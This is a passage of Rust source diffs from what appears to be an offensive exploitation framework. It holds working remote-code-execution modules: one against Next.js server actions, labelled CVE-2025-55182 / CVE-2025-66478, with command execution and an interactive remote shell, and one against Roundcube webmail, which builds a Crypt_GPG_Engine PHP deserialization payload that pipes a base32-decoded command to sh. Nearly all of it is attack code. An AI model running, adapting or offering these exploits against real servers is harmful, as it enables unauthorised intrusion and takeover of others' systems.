"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
|
||||
};
|
||||
|
||||
let parsed_url = reqwest::Url::parse(url)?;
|
||||
let host = parsed_url.host_str()
|
||||
.map(|h| {
|
||||
if let Some(port) = parsed_url.port() {
|
||||
format!("{}:{}", h, port)
|
||||
} else {
|
||||
h.to_string()
|
||||
}
|
||||
})
|
||||
.unwrap_or_else(|| "localhost".to_string());
|
||||
|
||||
let mut request = client.post(url)
|
||||
.header("Host", &host)
|
||||
.header("Content-Type", format!("multipart/form-data; boundary=----{}", BOUNDARY))
|
||||
.header("Next-Action", "x")
|
||||
.header("Next-Router-State-Tree", "%5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2Cnull%2Cnull%5D%7D%2Cnull%2Cnull%2Ctrue%5D")
|
||||
.header("X-Nextjs-Request-Id", "b5dce965")
|
||||
.header("X-Nextjs-Html-Request-Id", "SSTMXm7OJ_g0Ncx6jpQt9")
|
||||
.header("User-Agent", user_agent);
|
||||
|
||||
// Add custom headers
|
||||
for (key, value) in &config.custom_headers {
|
||||
request = request.header(key, value);
|
||||
}
|
||||
|
||||
let response = request
|
||||
.body(body)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send safe-check request")?;
|
||||
|
||||
let status = response.status().as_u16();
|
||||
|
||||
// Collect headers
|
||||
let mut response_headers = Vec::new();
|
||||
for (name, value) in response.headers() {
|
||||
if let Ok(header_str) = value.to_str() {
|
||||
response_headers.push((name.to_string(), header_str.to_string()));
|
||||
}
|
||||
}
|
||||
|
||||
let response_body = response.text().await.context("Failed to read response")?;
|
||||
|
||||
// Check if vulnerable: 500 status AND E{"digest" in body
|
||||
let vulnerable = is_vulnerable_response(status, &response_body);
|
||||
|
||||
Ok(ExploitResult {
|
||||
url: url.to_string(),
|
||||
status: Some(status),
|
||||
vulnerable,
|
||||
command_output: None,
|
||||
response_headers,
|
||||
response_body,
|
||||
})
|
||||
}
|
||||
|
||||
/// RCE verification using deterministic math operation
|
||||
/// Executes 41*271 which should return 11111
|
||||
async fn verify_rce(
|
||||
client: &Client,
|
||||
url: &str,
|
||||
config: &ExploitConfig,
|
||||
) -> Result<ExploitResult> {
|
||||
let command = if config.windows_mode {
|
||||
"powershell -c \"41*271\""
|
||||
} else {
|
||||
"echo $((41*271))"
|
||||
};
|
||||
|
||||
execute_command(client, url, command, config).await
|
||||
}
|
||||
|
||||
fn print_result(result: &ExploitResult, config: &ExploitConfig) {
|
||||
println!("\n{}", "=".repeat(80));
|
||||
|
||||
if config.use_color {
|
||||
println!("{}", format!("TARGET: {}", result.url).cyan().bold());
|
||||
if let Some(status) = result.status {
|
||||
println!("{}", format!("STATUS CODE: {}", status).yellow());
|
||||
}
|
||||
} else {
|
||||
println!("TARGET: {}", result.url);
|
||||
if let Some(status) = result.status {
|
||||
println!("STATUS CODE: {}", status);
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", "=".repeat(80));
|
||||
|
||||
if result.vulnerable {
|
||||
if config.use_color {
|
||||
println!("{}", "\n🩸 TARGET IS VULNERABLE!".red().bold());
|
||||
println!("{}", "CVE-2025-55182 / CVE-2025-66478 CONFIRMED".red().bold());
|
||||
} else {
|
||||
println!("\n🩸 TARGET IS VULNERABLE!");
|
||||
println!("CVE-2025-55182 / CVE-2025-66478 CONFIRMED");
|
||||
}
|
||||
|
||||
if let Some(output) = &result.command_output {
|
||||
println!("\n{}", "-".repeat(60));
|
||||
if config.use_color {
|
||||
println!("{}", "COMMAND OUTPUT:".green().bold());
|
||||
} else {
|
||||
println!("COMMAND OUTPUT:");
|
||||
}
|
||||
println!("{}", "-".repeat(60));
|
||||
println!("{}", output);
|
||||
println!("{}", "-".repeat(60));
|
||||
}
|
||||
} else {
|
||||
if config.use_color {
|
||||
println!("{}", "\n❌ Target does not appear to be vulnerable.".green());
|
||||
} else {
|
||||
println!("\n❌ Target does not appear to be vulnerable.");
|
||||
}
|
||||
}
|
||||
|
||||
if config.verbose {
|
||||
println!("\n{}", "RESPONSE HEADERS:".bold());
|
||||
for (key, value) in &result.response_headers {
|
||||
println!(" {}: {}", key, value);
|
||||
}
|
||||
|
||||
println!("\n{}", format!("RESPONSE BODY ({} bytes):", result.response_body.len()).bold());
|
||||
if result.response_body.len() > 500 {
|
||||
println!("{}", &result.response_body[..500]);
|
||||
println!("... [truncated]");
|
||||
} else {
|
||||
println!("{}", result.response_body);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Interactive shell mode
|
||||
async fn interactive_shell(client: &Client, url: &str, config: &ExploitConfig) -> Result<()> {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ INTERACTIVE SHELL MODE ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
println!("{}", "[*] Testing connection...".yellow());
|
||||
|
||||
// Test with whoami/whoami
|
||||
let test_cmd = if config.windows_mode { "whoami" } else { "whoami" };
|
||||
let test_result = execute_command(client, url, test_cmd, config).await?;
|
||||
|
||||
if !test_result.vulnerable {
|
||||
return Err(anyhow!("Target does not appear to be vulnerable. Cannot establish shell."));
|
||||
}
|
||||
|
||||
let username = test_result.command_output
|
||||
.as_ref()
|
||||
.map(|s| s.trim().to_string())
|
||||
.unwrap_or_else(|| "unknown".to_string());
|
||||
|
||||
// Get current directory
|
||||
let pwd_cmd = if config.windows_mode { "cd" } else { "pwd" };
|
||||
let pwd_result = execute_command(client, url, pwd_cmd, config).await?;
|
||||
let current_dir = pwd_result.command_output
|
||||
.as_ref()
|
||||
.map(|s| s.trim().to_string())
|
||||
.unwrap_or_else(|| "/".to_string());
|
||||
|
||||
println!("{}", format!("[+] Connected! User: {}", username).green().bold());
|
||||
println!("{}", format!("[+] Directory: {}", current_dir).green());
|
||||
println!("{}", "[*] Type 'help' for commands, 'exit' to quit".cyan());
|
||||
println!();
|
||||
|
||||
let parsed_url = reqwest::Url::parse(url)?;
|
||||
let hostname = parsed_url.host_str().unwrap_or("target");
|
||||
|
||||
let stdin = tokio::io::stdin();
|
||||
let mut reader = BufReader::new(stdin);
|
||||
let mut line = String::new();
|
||||
let mut working_dir = current_dir;
|
||||
|
||||
loop {
|
||||
print!("{}", format!("[{}@{}:{}]$ ", username, hostname, working_dir).green().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
|
||||
line.clear();
|
||||
if reader.read_line(&mut line).await.is_err() {
|
||||
break;
|
||||
}
|
||||
|
||||
let cmd = line.trim();
|
||||
|
||||
if cmd.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
match cmd {
|
||||
"exit" | "quit" => {
|
||||
println!("{}", "[*] Exiting shell...".yellow());
|
||||
break;
|
||||
}
|
||||
"help" => {
|
||||
println!("\nAvailable commands:");
|
||||
println!(" help Show this help");
|
||||
println!(" exit, quit Exit the shell");
|
||||
println!(" clear Clear the screen");
|
||||
println!(" <command> Execute system command\n");
|
||||
}
|
||||
"clear" => {
|
||||
print!("\x1B[2J\x1B[1;1H");
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
}
|
||||
cmd if cmd.starts_with("cd ") => {
|
||||
let target_dir = cmd[3..].trim();
|
||||
let cd_cmd = if config.windows_mode {
|
||||
format!("cd {} && cd", target_dir)
|
||||
} else {
|
||||
format!("cd {} && pwd", target_dir)
|
||||
};
|
||||
|
||||
match execute_command(client, url, &cd_cmd, config).await {
|
||||
Ok(result) if result.command_output.is_some() => {
|
||||
let new_dir = result.command_output.unwrap();
|
||||
let new_dir = new_dir.trim();
|
||||
if !new_dir.contains("No such file") && !new_dir.contains("not found") {
|
||||
working_dir = new_dir.to_string();
|
||||
println!("{}", format!("Changed to: {}", working_dir).green());
|
||||
} else {
|
||||
println!("{}", format!("cd: {}: No such directory", target_dir).red());
|
||||
}
|
||||
}
|
||||
_ => {
|
||||
println!("{}", format!("cd: Failed to change directory").red());
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => {
|
||||
// Execute in working directory context
|
||||
let full_cmd = if config.windows_mode {
|
||||
format!("cd {} && {}", working_dir, cmd)
|
||||
} else {
|
||||
format!("cd {} && {}", working_dir, cmd)
|
||||
};
|
||||
|
||||
match execute_command(client, url, &full_cmd, config).await {
|
||||
Ok(result) => {
|
||||
if let Some(output) = result.command_output {
|
||||
print!("{}", output);
|
||||
if !output.ends_with('\n') {
|
||||
println!();
|
||||
}
|
||||
} else if result.vulnerable {
|
||||
println!("{}", "[!] Command executed but no output".yellow());
|
||||
} else {
|
||||
println!("{}", "[!] Command may have failed".red());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Prompt helpers
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}", format!("{}: ", message).cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", message, default).cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
async fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", message, default_char).cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
if trimmed.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if trimmed == "y" || trimmed == "yes" {
|
||||
return Ok(true);
|
||||
} else if trimmed == "n" || trimmed == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
// Normalize target URL
|
||||
let mut base_url = target.trim().to_string();
|
||||
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
|
||||
base_url = format!("http://{}", base_url);
|
||||
}
|
||||
let base_url = base_url.trim_end_matches('/').to_string();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", base_url).yellow());
|
||||
|
||||
// Build configuration
|
||||
let mut config = ExploitConfig::default();
|
||||
config.target = base_url.clone();
|
||||
|
||||
// Prompt for options
|
||||
config.verbose = prompt_yes_no("Verbose mode", false).await?;
|
||||
config.verify_ssl = !prompt_yes_no("Skip SSL verification", false).await?;
|
||||
config.random_agent = prompt_yes_no("Use random User-Agent", false).await?;
|
||||
config.windows_mode = prompt_yes_no("Windows target (use PowerShell)", false).await?;
|
||||
|
||||
let timeout_str = prompt_default("Timeout (seconds)", "30").await?;
|
||||
config.timeout = timeout_str.parse().unwrap_or(30);
|
||||
|
||||
// Target path
|
||||
config.target_path = prompt_default("Target path", "/").await?;
|
||||
|
||||
// Proxy support
|
||||
let use_proxy = prompt_yes_no("Use proxy", false).await?;
|
||||
if use_proxy {
|
||||
let proxy_url = prompt("Proxy URL (e.g., http://127.0.0.1:8080)").await?;
|
||||
if !proxy_url.is_empty() {
|
||||
config.proxy = Some(proxy_url);
|
||||
}
|
||||
}
|
||||
|
||||
// WAF bypass
|
||||
config.waf_bypass = prompt_yes_no("Enable WAF bypass (add junk data)", false).await?;
|
||||
if config.waf_bypass {
|
||||
let size_str = prompt_default("WAF bypass junk size (KB)", "128").await?;
|
||||
config.waf_bypass_size_kb = size_str.parse().unwrap_or(128);
|
||||
}
|
||||
|
||||
// Custom headers
|
||||
let use_custom_headers = prompt_yes_no("Add custom headers", false).await?;
|
||||
if use_custom_headers {
|
||||
loop {
|
||||
let header_input = prompt("Header (Name: Value), or 'done'").await?;
|
||||
if header_input == "done" || header_input.is_empty() {
|
||||
break;
|
||||
}
|
||||
if let Some(colon_pos) = header_input.find(':') {
|
||||
let key = header_input[..colon_pos].trim().to_string();
|
||||
let value = header_input[colon_pos + 1..].trim().to_string();
|
||||
if !key.is_empty() && !value.is_empty() {
|
||||
config.custom_headers.push((key, value));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Build HTTP client
|
||||
let mut client_builder = Client::builder()
|
||||
.timeout(Duration::from_secs(config.timeout))
|
||||
.danger_accept_invalid_certs(!config.verify_ssl);
|
||||
|
||||
if let Some(proxy_url) = &config.proxy {
|
||||
let proxy = reqwest::Proxy::all(proxy_url)
|
||||
.context("Failed to create proxy")?;
|
||||
client_builder = client_builder.proxy(proxy);
|
||||
}
|
||||
|
||||
let client = client_builder.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let target_url = if config.target_path == "/" {
|
||||
base_url.clone()
|
||||
} else {
|
||||
format!("{}{}", base_url, config.target_path)
|
||||
};
|
||||
|
||||
// Mode selection
|
||||
println!();
|
||||
println!("{}", "Select mode:".yellow().bold());
|
||||
println!(" 1. Safe Vulnerability Check (no RCE)");
|
||||
println!(" 2. RCE Verification (executes 41*271=11111)");
|
||||
println!(" 3. Execute Single Command");
|
||||
println!(" 4. Interactive Shell");
|
||||
println!(" 5. Run Module Diagnostics");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Mode [1-5]", "1").await?;
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
println!("{}", "[*] Running safe vulnerability check...".cyan());
|
||||
match safe_check_vulnerability(&client, &target_url, &config).await {
|
||||
Ok(result) => {
|
||||
print_result(&result, &config);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
"2" => {
|
||||
println!("{}", "[*] Verifying RCE (executing 41*271)...".cyan());
|
||||
match verify_rce(&client, &target_url, &config).await {
|
||||
Ok(result) => {
|
||||
if let Some(output) = &result.command_output {
|
||||
if output.contains("11111") {
|
||||
println!("{}", "\n✓ RCE VERIFIED! Output contains expected value 11111".green().bold());
|
||||
}
|
||||
}
|
||||
print_result(&result, &config);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
"3" => {
|
||||
let command = prompt("Command to execute").await?;
|
||||
if command.is_empty() {
|
||||
return Err(anyhow!("Command cannot be empty"));
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Executing: {}", command).cyan());
|
||||
match execute_command(&client, &target_url, &command, &config).await {
|
||||
Ok(result) => {
|
||||
print_result(&result, &config);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
"4" => {
|
||||
interactive_shell(&client, &target_url, &config).await?;
|
||||
}
|
||||
"5" => {
|
||||
run_self_check();
|
||||
}
|
||||
_ => {
|
||||
return Err(anyhow!("Invalid mode selected"));
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn run_self_check() {
|
||||
println!("{}", "\n[*] Running Module Self-Diagnostics...".cyan().bold());
|
||||
|
||||
// Check 1: RCE Payload Creation
|
||||
let payload = create_rce_payload("id", false);
|
||||
let checks = vec![
|
||||
payload.contains("name=\"0\""),
|
||||
payload.contains("name=\"1\""),
|
||||
payload.contains("name=\"2\""),
|
||||
payload.contains("name=\"3\""),
|
||||
payload.contains("name=\"4\""),
|
||||
payload.contains("$3:constructor:constructor"),
|
||||
payload.contains("$@3"),
|
||||
payload.contains("[]"),
|
||||
];
|
||||
|
||||
if checks.iter().all(|&x| x) {
|
||||
println!("{}", "[+] RCE Payload Structure: PASS".green());
|
||||
} else {
|
||||
println!("{}", "[-] RCE Payload Structure: FAIL".red());
|
||||
}
|
||||
|
||||
// Check 2: Safe Check Payload
|
||||
let safe_payload = create_safe_check_payload();
|
||||
if safe_payload.contains("[\"$1:a:a\"]") && safe_payload.contains("{}") {
|
||||
println!("{}", "[+] Safe Check Payload: PASS".green());
|
||||
} else {
|
||||
println!("{}", "[-] Safe Check Payload: FAIL".red());
|
||||
}
|
||||
|
||||
// Check 3: Encoding/Decoding
|
||||
let decode_ok = url_decode("hello%20world") == "hello world" &&
|
||||
url_decode("test%2Fpath") == "test/path" &&
|
||||
url_decode("a+b") == "a b";
|
||||
|
||||
if decode_ok {
|
||||
println!("{}", "[+] URL Decoding: PASS".green());
|
||||
} else {
|
||||
println!("{}", "[-] URL Decoding: FAIL".red());
|
||||
}
|
||||
|
||||
let encode_ok = js_encode("test'quote") == "test\\'quote" &&
|
||||
js_encode("test\"double") == "test\\\"double" &&
|
||||
js_encode("test\\backslash") == "test\\\\backslash";
|
||||
|
||||
if encode_ok {
|
||||
println!("{}", "[+] JS Encoding: PASS".green());
|
||||
} else {
|
||||
println!("{}", "[-] JS Encoding: FAIL".red());
|
||||
}
|
||||
|
||||
// Check 4: Output Extraction
|
||||
// Case 4a: Header extraction
|
||||
let headers = vec![
|
||||
("x-action-redirect".to_string(), "/login?a=test%20header".to_string()),
|
||||
];
|
||||
let output_header = extract_output_from_redirect(&headers, None);
|
||||
|
||||
// Case 4b: Body extraction
|
||||
let body_text = "some junk NEXT_REDIRECT;push;/login?a=test%20body; more junk";
|
||||
let output_body = extract_output_from_redirect(&[], Some(body_text));
|
||||
|
||||
if output_header == Some("test header".to_string()) && output_body == Some("test body".to_string()) {
|
||||
println!("{}", "[+] Output Extraction: PASS".green());
|
||||
} else {
|
||||
println!("{}", "[-] Output Extraction: FAIL".red());
|
||||
if output_header != Some("test header".to_string()) {
|
||||
println!(" Header extraction failed: {:?}", output_header);
|
||||
}
|
||||
if output_body != Some("test body".to_string()) {
|
||||
println!(" Body extraction failed: {:?}", output_body);
|
||||
}
|
||||
}
|
||||
|
||||
// Check 5: Vulnerability Detection
|
||||
let vuln_detect_ok = is_vulnerable_response(500, "some text E{\"digest\" more text") &&
|
||||
!is_vulnerable_response(200, "E{\"digest\"") &&
|
||||
!is_vulnerable_response(500, "no digest here");
|
||||
|
||||
if vuln_detect_ok {
|
||||
println!("{}", "[+] Vulnerability Logic: PASS".green());
|
||||
} else {
|
||||
println!("{}", "[-] Vulnerability Logic: FAIL".red());
|
||||
}
|
||||
|
||||
println!("{}", "\nDiagnostics complete.".yellow());
|
||||
}
|
||||
@@ -1,15 +1,51 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
//! Roundcube Post-Auth RCE Exploit
|
||||
//!
|
||||
//! This module exploits a deserialization vulnerability in Roundcube webmail
|
||||
//! that allows authenticated remote code execution.
|
||||
//!
|
||||
//! ## Vulnerability Details
|
||||
//! - **Affected Versions**: Roundcube 1.1.0 - 1.5.9, 1.6.0 - 1.6.10
|
||||
//! - **Attack Vector**: Authenticated file upload with serialized PHP payload
|
||||
//! - **Impact**: Remote Code Execution
|
||||
//!
|
||||
//! ## Attack Flow
|
||||
//! 1. Login with valid credentials
|
||||
//! 2. Craft malicious PHP serialized payload (Crypt_GPG_Engine gadget)
|
||||
//! 3. Upload payload via settings file upload
|
||||
//! 4. Trigger deserialization for code execution
|
||||
//!
|
||||
//! ## Security Notes
|
||||
//! - Uses utils.rs for target validation and prompts
|
||||
//! - Uses escape_shell_command for safe command encoding
|
||||
//! - Proper error handling and timeouts
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use data_encoding::BASE32_NOPAD;
|
||||
use md5;
|
||||
use rand::Rng;
|
||||
use base64::Engine as _;
|
||||
use regex::Regex;
|
||||
use reqwest::{Client, cookie::Jar, redirect::Policy};
|
||||
use std::io::{self, Write};
|
||||
use std::sync::Arc;
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
use rand::distr::Alphanumeric;
|
||||
/// // Decode base64 constant for small transparent PNG
|
||||
use colored::*;
|
||||
|
||||
use crate::utils::{
|
||||
normalize_target, escape_shell_command, prompt_default,
|
||||
};
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Roundcube Post-Auth RCE Exploit ║".cyan());
|
||||
println!("{}", "║ PHP Deserialization via Crypt_GPG_Engine Gadget ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Decode base64 constant for small transparent PNG
|
||||
fn transparent_png() -> Vec<u8> {
|
||||
const PNG_B64: &str = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==";
|
||||
base64::engine::general_purpose::STANDARD
|
||||
@@ -17,13 +53,15 @@ fn transparent_png() -> Vec<u8> {
|
||||
.unwrap_or_default()
|
||||
}
|
||||
|
||||
/// // Build the serialized PHP payload using Crypt_GPG_Engine gadget
|
||||
/// Build the serialized PHP payload using Crypt_GPG_Engine gadget
|
||||
fn build_serialized_payload(cmd: &str) -> String {
|
||||
let encoded = BASE32_NOPAD.encode(cmd.as_bytes());
|
||||
// Escape command before encoding to prevent injection
|
||||
let escaped_cmd = escape_shell_command(cmd);
|
||||
let encoded = BASE32_NOPAD.encode(escaped_cmd.as_bytes());
|
||||
let gpgconf = format!("echo \"{}\"|base32 -d|sh &#", encoded);
|
||||
let len = gpgconf.len();
|
||||
format!(
|
||||
"|O:16:\"Crypt_GPG_Engine\":3:{{s:8:\"_process\";b:0;s:8:\"_gpgconf\";s:{}:\"{}\";s:8:\"_homedir\";s:0:\"\";}};",
|
||||
"|O:16:\"Crypt_GPG_Engine\":3:{{s:8:\"_process\";b:0;s:8:\"_gpgconf\";s:{}:\"{}\";s:8:\"_homedir\";s:0:\"\";}}",
|
||||
len, gpgconf
|
||||
)
|
||||
}
|
||||
@@ -34,23 +72,45 @@ fn generate_from() -> &'static str {
|
||||
OPTIONS[idx]
|
||||
}
|
||||
|
||||
fn generate_id() -> String {
|
||||
fn generate_id() -> Result<String> {
|
||||
let mut rand_bytes = [0u8; 8];
|
||||
rand::rng().fill(&mut rand_bytes);
|
||||
let timestamp = SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.context("System time is before Unix epoch")?
|
||||
.as_nanos()
|
||||
.to_string();
|
||||
format!("{:x}", md5::compute([rand_bytes.as_slice(), timestamp.as_bytes()].concat()))
|
||||
Ok(format!("{:x}", md5::compute([rand_bytes.as_slice(), timestamp.as_bytes()].concat())))
|
||||
}
|
||||
|
||||
fn generate_uploadid() -> String {
|
||||
fn generate_uploadid() -> Result<String> {
|
||||
let millis = SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.context("System time is before Unix epoch")?
|
||||
.as_millis();
|
||||
format!("upload{}", millis)
|
||||
Ok(format!("upload{}", millis))
|
||||
}
|
||||
|
||||
/// Validate and normalize target URL
|
||||
fn validate_target_url(target: &str) -> Result<String> {
|
||||
let trimmed = target.trim();
|
||||
|
||||
// Check if it looks like a URL
|
||||
if trimmed.starts_with("http://") || trimmed.starts_with("https://") {
|
||||
// Already has scheme, validate the host part
|
||||
if let Ok(url) = url::Url::parse(trimmed) {
|
||||
if let Some(host) = url.host_str() {
|
||||
// Validate the host using normalize_target
|
||||
let _ = normalize_target(host)?;
|
||||
return Ok(trimmed.trim_end_matches('/').to_string());
|
||||
}
|
||||
}
|
||||
return Err(anyhow!("Invalid URL format: {}", trimmed));
|
||||
}
|
||||
|
||||
// No scheme - treat as host:port and add http://
|
||||
let normalized = normalize_target(trimmed)?;
|
||||
Ok(format!("http://{}", normalized.trim_end_matches('/')))
|
||||
}
|
||||
|
||||
async fn fetch_login_page(client: &Client, base: &str) -> Result<String> {
|
||||
@@ -135,8 +195,8 @@ async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<(
|
||||
.append_pair("_task", "settings")
|
||||
.append_pair("_remote", "1")
|
||||
.append_pair("_from", &format!("edit-!{}", generate_from()))
|
||||
.append_pair("_id", &generate_id())
|
||||
.append_pair("_uploadid", &generate_uploadid())
|
||||
.append_pair("_id", &generate_id()?)
|
||||
.append_pair("_uploadid", &generate_uploadid()?)
|
||||
.append_pair("_action", "upload");
|
||||
|
||||
client
|
||||
@@ -147,19 +207,21 @@ async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<(
|
||||
.await
|
||||
.map_err(|e| anyhow!("Upload request failed: {e}"))?;
|
||||
|
||||
println!("[+] Exploit attempt complete. Check your listener or reverse shell.");
|
||||
println!("{}", "[+] Exploit attempt complete. Check your listener or reverse shell.".green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Entry point for dispatcher
|
||||
/// Entry point for dispatcher
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let mut base_url = target.trim().to_string();
|
||||
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
|
||||
base_url = format!("http://{}", base_url);
|
||||
}
|
||||
base_url = base_url.trim_end_matches('/').to_string();
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
// Validate and normalize target URL
|
||||
let base_url = validate_target_url(target)?;
|
||||
println!("{}", format!("[*] Validated URL: {}", base_url).cyan());
|
||||
|
||||
// // HTTP client with cookies and no redirects
|
||||
// HTTP client with cookies and no redirects
|
||||
let jar = Jar::default();
|
||||
let client = Client::builder()
|
||||
.cookie_provider(Arc::new(jar))
|
||||
@@ -171,45 +233,30 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
if let Some(ver) = check_version(&client, &base_url).await? {
|
||||
println!("[*] Detected Roundcube version: {}", ver);
|
||||
if (10100..=10509).contains(&ver) || (10600..=10610).contains(&ver) {
|
||||
println!("[!] Version appears vulnerable!");
|
||||
println!("{}", "[!] Version appears vulnerable!".green().bold());
|
||||
} else {
|
||||
println!("[-] Version not in known vulnerable range.");
|
||||
println!("{}", "[-] Version not in known vulnerable range.".yellow());
|
||||
}
|
||||
} else {
|
||||
println!("[?] Could not determine version.");
|
||||
println!("{}", "[?] Could not determine version.".yellow());
|
||||
}
|
||||
|
||||
let mut username = String::new();
|
||||
let mut password = String::new();
|
||||
let mut host = String::new();
|
||||
let mut command = String::new();
|
||||
|
||||
print!("Username: ");
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut username)?;
|
||||
|
||||
print!("Password: ");
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut password)?;
|
||||
|
||||
print!("Host parameter (optional): ");
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut host)?;
|
||||
|
||||
print!("Command to execute: ");
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut command)?;
|
||||
|
||||
let username = username.trim();
|
||||
let password = password.trim();
|
||||
let host = host.trim();
|
||||
let command = command.trim();
|
||||
// Use shared prompt utilities for credentials
|
||||
let username = prompt_default("Username", "").await?;
|
||||
let password = prompt_default("Password", "").await?;
|
||||
let host = prompt_default("Host parameter (optional)", "").await?;
|
||||
let command = prompt_default("Command to execute", "id").await?;
|
||||
|
||||
if username.is_empty() || password.is_empty() || command.is_empty() {
|
||||
return Err(anyhow!("Username, password and command must be provided"));
|
||||
}
|
||||
|
||||
login(&client, &base_url, username, password, host).await?;
|
||||
let serialized = build_serialized_payload(command);
|
||||
println!("{}", "[*] Attempting login...".cyan());
|
||||
login(&client, &base_url, &username, &password, &host).await?;
|
||||
println!("{}", "[+] Login successful!".green());
|
||||
|
||||
println!("{}", "[*] Uploading malicious payload...".cyan());
|
||||
let serialized = build_serialized_payload(&command);
|
||||
upload_payload(&client, &base_url, &serialized).await
|
||||
}
|
||||
|
||||
|
||||
@@ -1,12 +1,35 @@
|
||||
use anyhow::{Result, Context};
|
||||
use reqwest;
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// A basic demonstration exploit that checks if a specific endpoint is "vulnerable"
|
||||
///
|
||||
/// # Developer Note
|
||||
/// This module serves as a template for new exploits.
|
||||
/// - Always use `?` for error handling (no `unwrap()`).
|
||||
/// - Use `anyhow::Context` to provide helpful error messages.
|
||||
/// - Respect the `target` argument.
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Running sample_exploit against target: {}", target);
|
||||
